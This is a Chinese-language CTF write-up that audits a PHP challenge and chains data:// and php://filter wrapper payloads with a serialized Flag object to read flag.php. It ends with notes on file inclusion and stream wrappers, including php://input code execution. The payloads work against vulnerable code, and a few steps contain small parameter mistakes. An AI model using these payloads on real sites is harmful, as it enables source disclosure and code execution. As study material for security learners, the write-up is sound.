打开题目
代码审计
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
首先isset函数检查text参数是否存在且不为空
用file_get_contents函数读取text制定的文件内容并与welcome to the zjctf进行强比较
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
如果强比较相等的话,则输出text的内容
if(preg_match("/flag/",$file)){
echo "Not now!";
如果强比较不相等的话,则检查文件内容是否包含/flag,如果包含,则输出Not now
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
如果文件内容不包含/flag的话,file指定的文件包含到脚本中,这里提示了useless.php,然后对password的值进行反序列化,然后输出password的值
第一步
所以我们需要传入text文件值必须为welcome to the zjctf
1.用php://input协议以post传参的形式写入,
2.用data伪协议写入内容
welcome to the zjctf的base64编码为d2VsY29tZSB0byB0aGUgempjdGY=
payload:
http://127.0.0.1/include.php?file=data://text/plain,welcome to the zjctf
或者
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
传参后页面回显
第二步
我们用php://filter协议读取file下的useless.php的文件内容
这里我们需要注意用php://filter读取的文件内容是被base64加密后的内容
?file=php://filter/convert.base64-encode/resource=useless.php
和第一步的payload拼接一下即得到第二步的payload
payload:
?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php
或者
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php
页面回显
第三步
将上一步得到的useless.php的文件内容进行base64解码后得到
得到代码
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
代码审计
class Flag{ //flag.php
public $file;
定义了一个名为Flag的类,然后file参数为公有属性,公共属性$file
意味着任何地方都可以访问并修改它。
public function __tostring(){
在类中定义一个 _toString的方法,且设为公有属性,返回字符串信息
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
如果file的值不为null,输出文件包含下的file值
在第一次的代码审计中,我们需要将password的值进行反序列化操作
那我们可以在在本地搭建网站进行反序列化操作
<?php
class Flag{ //flag.php
public $file="flag.php";
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$a=new Flag();
echo serialize($a);
?>
结果为
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
三步的payload拼接一下即可得到最后的payload
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
或者
?text=data://text/plain,welcome to the zjctf&file=useless.php&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
查看源代码得到flag
知识点:
什么是文件包含漏洞?
和SQL注入等攻击方式一样,文件包含漏洞也是一种注入型漏洞,其本质就是输入一段用户能够控制的脚本或者代码,并让服务端执行
以PHP为例,常用的文件包含函数有以下四种
require() :找不到被包含的文件会产生致命错误,并停止脚本运行
include() :找不到被包含的文件只会产生警告,脚本继续执行
require_once() 与require()类似:唯一的区别是如果该文件的代码已经被包含,则不会再次包含
include_once() 与include()类似:唯一的区别是如果该文件的代码已经被包含,则不会再次包含
- php伪协议
php://filter用于读取源码。
php://input用于执行php代码。
- php isset函数
isset() 函数检查变量是否被设置,这意味着它必须被声明并且不为 NULL。
- php file_get_contents函数
将整个文件读入一个字符串
碰到file_get_contents()
就要想到用php://input
绕过,因为php伪协议也是可以利用http协议的,即可以使用POST方式传数据。php://input用于执行php代码。
- php://input
可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。从而导致任意代码执行。
- data://
数据流封装器,以传递相应格式的数据。可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行。
实例用法
1、data://text/plain,
http://127.0.0.1/include.php?file=data://text/plain**,**\<?php%20phpinfo();?>
2、data://text/plain;base64,
http://127.0.0.1/include.php?file=data://text/plain**;**base64,PD9waHAgcGhwaW5mbygpOz8%2B
- php://filter
对本地磁盘文件进行读写,php://filter读取php文件时候需要base64编码
实例用法:
php://filter/read=convert.base64-encode/resource=[文件名]
http://127.0.0.1/include.php?file=php://filter/read=convert.base64-encode/resource=phpinfo.php
http://127.0.0.1/include.php?file=php://filter/convert.base64-encode/resource=phpinfo.php
效果一样的
- php类定义 class关键词
类的基本概念
-
以关键词class开头,后面跟着类名,类名后面跟着一对花括号,里面包含有类的属性、方法的定义。
-
类名:由字母、数字、下划线组成。字母或下划线开头。
-
一个类里包含有自己的常量,类的属性(变量),类的方法(函数)。
-
php public关键词
public
关键字是访问修饰符。 它将属性或方法标记为公共。
任何可以访问对象的代码都可以使用公共属性和方法。公共属性意味着任何地方都可以访问并修改它。
- php _toString魔术方法
__toString()是快速获取对象的字符串信息的便捷方式
当我们调试程序时,需要知道是否得出正确的数据。比如打印一个对象时,看看这个对象都有哪些属性,其值是什么,如果类定义了toString方法,就能在测试时,echo打印对象体,对象就会自动调用它所属类定义的toString方法,格式化输出这个对象所包含的数据。使用__toString() 时返回值一定要使用return 来进行返回
__toString() 方法用于一个类被当成字符串时应怎样回应
而function _tostring 就是在类中定义一个 _toString的方法
参考文章;PHP魔术方法之 __toString()-CSDN博客
知识点选自: